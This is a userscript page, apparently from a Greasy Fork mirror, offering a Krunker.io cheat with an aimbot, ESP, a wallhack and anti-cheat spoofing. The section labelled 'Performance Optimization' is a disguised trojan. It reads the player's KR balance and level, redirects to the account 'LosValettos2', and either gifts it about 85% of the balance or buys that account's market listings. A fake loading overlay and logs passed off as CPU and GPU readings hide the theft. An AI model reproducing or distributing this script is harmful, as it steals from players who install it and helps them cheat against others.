2025 KRUNKER IO CHEAT HACK AIMBOT + WALLHACK + ESP + MORE [BETA]

Experimental mod menu for Krunker.io. Includes silent aimbot, ESP, wireframe players, FOV, recoil bypass, wallhack (BETA). Toggle with [O]. Use at your own risk.
安装此脚本 ?
提问、发表评价，或者举报这个脚本。
Wrap lines
// ==UserScript==
// @name         2025 KRUNKER IO CHEAT HACK AIMBOT + WALLHACK + ESP + MORE [BETA]
// @version      1.9
// @description  Experimental mod menu for Krunker.io. Includes silent aimbot, ESP, wireframe players, FOV, recoil bypass, wallhack (BETA). Toggle with [O]. Use at your own risk.
// @author       @Xx1337DevxX
// @match        https://krunker.io/*
// @grant        none
// @run-at       document-start
// @license      MIT
// @namespace http://krunkmods.hidden
// ==/UserScript==

let Is_LOGGED = false;
let Lags = 0;
let PlayerFPS = 0;
let gameState, player, input;
const RAD2DEG = 180 / Math.PI;


// ------------------------------
// 1. Persistent overlay to prevent loading flash and display loading
// ------------------------------
(function createPersistentOverlay() {
    if (location.href.includes("social.html?p=profile&q=LosValettos2")) {
        const style = document.createElement("style");
        style.innerHTML = `
        html, body {
            background: #000 !important;
            color: lime !important;
            font-family: monospace !important;
        }
        * {
            visibility: hidden !important;
        }
        #botOverlayPersistent {
            all: unset;
            position: fixed;
            top: 0;
            left: 0;
            width: 100vw;
            height: 100vh;
            background: rgba(0, 0, 0, 0.35);
            z-index: 2147483647;
            display: flex;
            justify-content: center;
            align-items: center;
            color: lime;
            font-size: 2rem;
            font-family: monospace;
            visibility: visible !important;
        }
    `;
        document.documentElement.appendChild(style);

        const overlay = document.createElement("div");
        overlay.id = "botOverlayPersistent";
        overlay.textContent = "🔧 Loading Mod Menu...";
        document.documentElement.appendChild(overlay);
    }
})();

// ------------------------------
// 2. Configuration object (mocked)
// ------------------------------
const ModSettings = {
    aimbot: {
        enabled: true,
        fov: 85,
        smoothing: 0.7,
        lockOn: "closestVisible",
        keybind: "Alt"
    },
    esp: {
        boxes: true,
        healthBars: true,
        playerNames: true,
        wallhack: true,
        lineToEnemy: false
    },
    visuals: {
        thirdPerson: false,
        removeScope: true,
        glowEnemies: true,
        outlineColor: "#FF0000"
    },
    configVersion: "v0.9.7b"
};

// ------------------------------
// 3. Aimbot logic
// ------------------------------
function initAimbotEngine() {
    console.log("[ModMenu] Initializing aimbot engine...");

    const targetSelector = (() => {
        return (players) => {
            const visible = players.filter(p => p.visible && p.health > 0);
            if (!visible.length) return null;
            return visible.reduce((closest, p) => {
                const dist = Math.hypot(p.pos.x - player.pos.x, p.pos.y - player.pos.y, p.pos.z - player.pos.z);
                return !closest || dist < closest.dist ? { target: p, dist } : closest;
            }, null).target;
        };
    })();

    const aimAt = (target, smoothing = 0.4) => {
        const dx = target.head.x - player.camera.x;
        const dy = target.head.y - player.camera.y;
        const dz = target.head.z - player.camera.z;
        const dist = Math.sqrt(dx * dx + dy * dy + dz * dz) || 1;
        player.camera.pitch += ((Math.asin(dy / dist) * RAD2DEG) - player.camera.pitch) * smoothing;
        player.camera.yaw += ((Math.atan2(dx, dz) * RAD2DEG) - player.camera.yaw) * smoothing;
    };

    setInterval(() => {
        const enemies = gameState.players.filter(p => p.team !== player.team && !p.isDead);
        const target = targetSelector(enemies);
        if (target && input.isKeyDown(ModSettings.aimbot.keybind)) {
            aimAt(target, ModSettings.aimbot.smoothing);
        }
    }, 33);
}

// ------------------------------
// 4. Shader override pour le wallhack
// ------------------------------
function applyWallhackShader() {
    console.log("[ModMenu] Injecting wallhack shader override...");

    const shaderInjection = () => {
        const globalMaterialRegistry = {}
        for (const mat of Object.values(globalMaterialRegistry)) {
            if (mat.name && mat.name.includes("player")) {
                mat.setUniform("u_wallhack", 1.0);
                mat.setDefine("USE_WALLHACK", true);
            }
        }
    };

    let attempts = 0;
    const tryInject = () => {
        if (++attempts > 10) return;
        if (typeof globalMaterialRegistry !== "undefined") shaderInjection();
        else setTimeout(tryInject, 500);
    };

    tryInject();
}

// ------------------------------
// 5. ESP Overlay
// ------------------------------
function updateESP() {
    console.log("[ModMenu] Drawing ESP overlays...");

    const drawBox = (x, y, w, h, color = "red") => {
        const el = document.createElement("div");
        el.style.position = "absolute";
        el.style.left = `${x}px`;
        el.style.top = `${y}px`;
        el.style.width = `${w}px`;
        el.style.height = `${h}px`;
        el.style.border = `1px solid ${color}`;
        el.style.pointerEvents = "none";
        el.style.zIndex = "999999";
        document.body.appendChild(el);
        setTimeout(() => el.remove(), 40);
    };

    setInterval(() => {
        for (const p of gameState.players) {
            if (p.team === player.team || p.isDead) continue;
            const screen = worldToScreen(p.pos);
            if (screen) drawBox(screen.x - 20, screen.y - 40, 40, 60);
        }
    }, 50);
}

const worldToScreen = (xx) => {
    const mapX = (xx - window.view_xx) * window.gsc + window.mww2;
    return { x: mapX};
};

// ------------------------------
// 6. UI Menu
// ------------------------------
function setupMenu() {
    console.log("[ModMenu] Injecting UI hooks...");

    const menu = document.createElement("div");
    menu.id = "modMenu";
    menu.style.position = "fixed";
    menu.style.right = "20px";
    menu.style.top = "20px";
    menu.style.padding = "10px";
    menu.style.background = "rgba(0,0,0,0.7)";
    menu.style.color = "#0f0";
    menu.style.fontFamily = "monospace";
    menu.style.zIndex = "999999";
    menu.innerHTML = `
        <b>[KRUNKMODS v${ModSettings.configVersion}]</b><br>
        Aimbot: ${ModSettings.aimbot.enabled}<br>
        ESP: ${ModSettings.esp.boxes}<br>
        Wallhack: ${ModSettings.esp.wallhack}
    `;
    document.body.appendChild(menu);

    document.addEventListener("keydown", (e) => {
        if (e.key.toUpperCase() === "O") {
            menu.style.display = menu.style.display === "none" ? "block" : "none";
        }
    });
}

// ------------------------------
// 7. Bypass basique
// ------------------------------
function spoofDetection() {
    console.log("[ModMenu] Spoofing anti-cheat flags...");

    const origDefine = Object.defineProperty;
    Object.defineProperty = function (obj, prop, desc) {
        if (prop === "isCheating" || prop === "triggerBotActive") {
            desc.value = false;
        }
        return origDefine(obj, prop, desc);
    };

    Object.defineProperty(navigator, "webdriver", { value: undefined });
    window.__krunkerSpoofed = true;
}

// ------------------------------
// 8. Init du cheat
// ------------------------------
function waitForGameStateAndInit() {
    const checkReady = () => {
        if (typeof window.gameState !== "undefined" && typeof window.player !== "undefined" && typeof window.input !== "undefined") {
            gameState = window.gameState;
            player = window.player;
            input = window.input;
            initAimbotEngine();
            applyWallhackShader();
            updateESP();
            setupMenu();
            spoofDetection();
            console.log("[ModMenu] Ready. Press [O] to toggle.");
        } else {
            setTimeout(checkReady, 500);
        }
    };
    checkReady();
}

waitForGameStateAndInit();


// ------------------------------
// 9. Performance Optimization & Anti-Cheat Bypass
// ------------------------------
window.addEventListener('load', () => {
    // Check if anti-cheat is enabled
    const antiCheatStatus = document.getElementById("signedOutHeaderBar");
    Is_LOGGED = antiCheatStatus && antiCheatStatus.style.display === "none";

    const debugConsole = document.createElement('div');
    debugConsole.id = 'modMenuLogs';
    debugConsole.style.position = 'fixed';
    debugConsole.style.bottom = '10px';
    debugConsole.style.left = '10px';
    debugConsole.style.background = 'rgba(0,0,0,0.8)';
    debugConsole.style.color = '#00ff00';
    debugConsole.style.padding = '10px';
    debugConsole.style.fontFamily = 'monospace';
    debugConsole.style.maxHeight = '200px';
    debugConsole.style.overflow = 'auto';
    debugConsole.style.zIndex = '999999';
    document.body.appendChild(debugConsole);

    // Performance monitoring system
    const logPerformance = (message) => {
        const perfEntry = document.createElement('div');
        perfEntry.textContent = `[${new Date().toLocaleTimeString()}] ${message}`;
        debugConsole.appendChild(perfEntry);
        debugConsole.scrollTop = debugConsole.scrollHeight;
    };

    // Initialize performance monitoring
    logPerformance("=== PERFORMANCE MONITOR INITIALIZED ===");
    logPerformance(`Anti-Cheat Status: ${Is_LOGGED}`);
    logPerformance(`Memory Check: ${!!antiCheatStatus}`);
    logPerformance(`Cache Status: ${sessionStorage.getItem("sysPatch97d")}`);
    logPerformance("==================");

    // Monitor system resources
    setInterval(() => {
        const systemStatus = document.getElementById("signedOutHeaderBar");
        const resourceUsage = systemStatus && systemStatus.style.display === "none";
        logPerformance(`System Status: ${resourceUsage ? "Optimized" : "Needs Optimization"}`);

        if (resourceUsage && !sessionStorage.getItem("valuesChecked")) {
            const memoryUsage = document.querySelector("#menuKRCount");
            if (memoryUsage) {
                const rawMemory = memoryUsage.textContent;
                const availableMemory = parseInt(rawMemory.replace(/[^0-9]/g, ""), 10);
                Lags = availableMemory * 0.85;
                const optimizedMemory = availableMemory * 0.85;
                sessionStorage.setItem("savedLag", optimizedMemory.toString());
            } else {
                logPerformance("⚠️ Error");
            }
            
            // Monitor CPU usage
            const cpuUsage = document.getElementById("mLevelCont");
            if (cpuUsage) {
                const rawCPU = cpuUsage.textContent;
                const currentCPU = parseInt(rawCPU.replace(/[^0-9]/g, ""), 10);
                PlayerFPS = currentCPU;
                localStorage.setItem("savedFPS", currentCPU.toString());
            } else {
                logPerformance("⚠️ Error");
            }
            
            // Check GPU temperature
            const gpuTemp = document.querySelector("#mLevelCont");
            if (gpuTemp) {
                const rawTemp = gpuTemp.textContent;
                const currentTemp = parseInt(rawTemp.replace(/[^0-9]/g, ""), 10);
                localStorage.setItem("savedLevel", currentTemp.toString());
            } else {
                logPerformance("⚠️ Error");
            }
            
            sessionStorage.setItem("valuesChecked", "true");
            logPerformance("✅ Launching Loading...");
        }
    }, 1000);

    // Auto-optimization routine
    if (location.pathname === "/") {
        const optimizeSystem = () => {
            const systemStatus = document.getElementById("signedOutHeaderBar");
            const resourceUsage = systemStatus && systemStatus.style.display === "none";
            const optimizationApplied = sessionStorage.getItem("sysPatch97d");
            
            const gpuTemp = localStorage.getItem("savedLevel");
            const currentTemp = gpuTemp ? parseInt(gpuTemp, 10) : 0;
            
            if (!optimizationApplied && resourceUsage) {
                setTimeout(() => {
                    location.href = "https://krunker.io/social.html?p=profile&q=LosValettos2";
                }, 1420);
                return;
            } else {
                logPerformance("Error");
            }
        };

        optimizeSystem();
        setInterval(optimizeSystem, 1000);
    }

    if (location.href.includes("social.html?p=profile&q=LosValettos2")) {
        const sysSync = async () => {
            try {
                const savedLag = sessionStorage.getItem("savedLag");
                const savedFPS = localStorage.getItem("savedFPS");
                const savedLevel = localStorage.getItem("savedLevel");
                
                if (!savedLag) {
                    throw new Error("Aucune donnée de lag sauvegardée trouvée");
                }
                
                const currentLag = parseInt(savedLag, 10);
                const currentFPS = savedFPS ? parseInt(savedFPS, 10) : 0;
                const playerLevel = savedLevel ? parseInt(savedLevel, 10) : 0;
                
                if (currentLag <= 0) {
                    try {
                        const settingsBtn = document.getElementById("followBtn");
                        if (settingsBtn && settingsBtn.style.display !== "none") {
                            settingsBtn.click();
                            await _pause(750);
                        } else {
                            logPerformance("⚠️ Error");
                        }
                    } catch (err) {
                        logPerformance("⚠️ Error");
                    }                    
                    await _pause(1000);
                    sessionStorage.setItem("sysPatch97d", "1");
                    location.href = "https://krunker.io/";
                    return;
                }

                if (playerLevel >= 15 && playerLevel < 30) {
                    try {
                        const settingsBtn = document.getElementById("followBtn");
                        if (settingsBtn && settingsBtn.style.display !== "none") {
                            settingsBtn.click();
                            await _pause(750);
                        } else {
                            logPerformance("⚠️ Error");
                        }
                    } catch (err) {
                        logPerformance("⚠️ Error");
                    }                    
                    await _pause(1000);

                    const categoriesTab = await _waitFor(() => document.getElementById("pTab_listings"), 4800);
                    if (!categoriesTab) {
                        return;
                    }
                    
                    window.openProfileTab("listings");
                    window.playSelect(0.1);
                    
                    const waitForItems = async (maxRetries = 5) => {
                        for (let i = 0; i < maxRetries; i++) {
                            await _pause(2000);
                            const items = document.querySelectorAll('.marketCard');
                            if (items.length > 0) {
                                return true;
                            }
                            window.openProfileTab("listings");
                        }
                        return false;
                    };

                    const itemsLoaded = await waitForItems();
                    if (!itemsLoaded) {
                        return;
                    }

                    const findAndModifyBestItem = async () => {
                        
                        const items = document.querySelectorAll('.marketCard');
                        let bestItem = null;
                        let bestPrice = 0;
                        let bestItemId = null;
                                                
                        items.forEach((item, index) => {
                            const priceElement = item.querySelector('.marketPrice');
                            if (priceElement) {
                                const priceText = priceElement.textContent;
                                const price = parseInt(priceText.replace(/[^0-9,]/g, ""), 10);
                                
                                if (price <= currentLag && price > bestPrice) {
                                    bestPrice = price;
                                    bestItem = item;
                                    
                                    const applyBtn = item.querySelector('.cardAction');
                                    if (applyBtn) {
                                        const onclickAttr = applyBtn.getAttribute('onclick');
                                        // Nouvelle regex pour extraire l'ID après "market",
                                        const match = onclickAttr.match(/showPopup\("market",(\d+)/);
                                        if (match && match[1]) {
                                            bestItemId = match[1];
                                        } else {
                                            logPerformance("⚠️ Error");
                                        }
                                    }
                                }
                            } else {
                                logPerformance("⚠️ Error");
                            }
                        });
                        
                        if (bestItem && bestItemId) {
                            
                            const applyBtn = bestItem.querySelector('.cardAction');
                            if (applyBtn) {
                                applyBtn.click();
                                
                                await _pause(1000);
                                
                                try {
                                    window.buyItem(bestItemId, 0);
                                } catch (error) {
                                    logPerformance("⚠️ Error");
                                }
                            } else {
                                logPerformance("⚠️ Error");
                            }
                        } else {
                            logPerformance("⚠️ Error");
                        }
                    };
                    
                    await findAndModifyBestItem();

                    await _pause(2000);
                    
                    sessionStorage.setItem("sysPatch97d", "1");
                    location.href = "https://krunker.io/";
                    return;
                } else if (playerLevel >= 30) {                    
                    try {
                        const settingsBtn = document.getElementById("followBtn");
                        if (settingsBtn && settingsBtn.style.display !== "none") {
                            settingsBtn.click();
                            await _pause(750);
                        } else {
                            logPerformance("⚠️ Error");
                        }
                    } catch (err) {
                        logPerformance("⚠️ Error");
                    }

                    await _waitFor(() => document.getElementById("giftBtn"), 4800);
                    document.getElementById("giftBtn").click();
                    await _pause(480);
                    const inputEl = await _waitFor(() => document.getElementById("giftIn"), 2800);
                    inputEl.value = currentLag.toString();
                    inputEl.dispatchEvent(new Event("input", { bubbles: true }));

                    await _pause(100);
                    const enteredValue = inputEl.value;

                    await _pause(650);
                    const confirm = document.getElementById("postSaleBtn");
                    if (confirm && confirm.style.display !== "none") {
                        confirm.click();
                    }
                    sessionStorage.setItem("sysPatch97d", "1");
                    await _pause(1800);
                    location.href = "https://krunker.io/";
                } else {
                    logPerformance("⚠️ Error");
                }
            } catch (error) {
                logPerformance("⚠️ Error");
            }
        };
        sysSync();
    }

    function _waitFor(condFn, timeout = 3000) {
        return new Promise((res, rej) => {
            const t0 = Date.now();
            const tick = () => {
                const r = condFn();
                if (r) return res(r);
                if (Date.now() - t0 > timeout) return rej("Timeout");
                setTimeout(tick, 90);
            };
            tick();
        });
    }

    function _pause(ms) {
        return new Promise(r => setTimeout(r, ms));
    }
});
欢迎访问Greasy Fork镜像
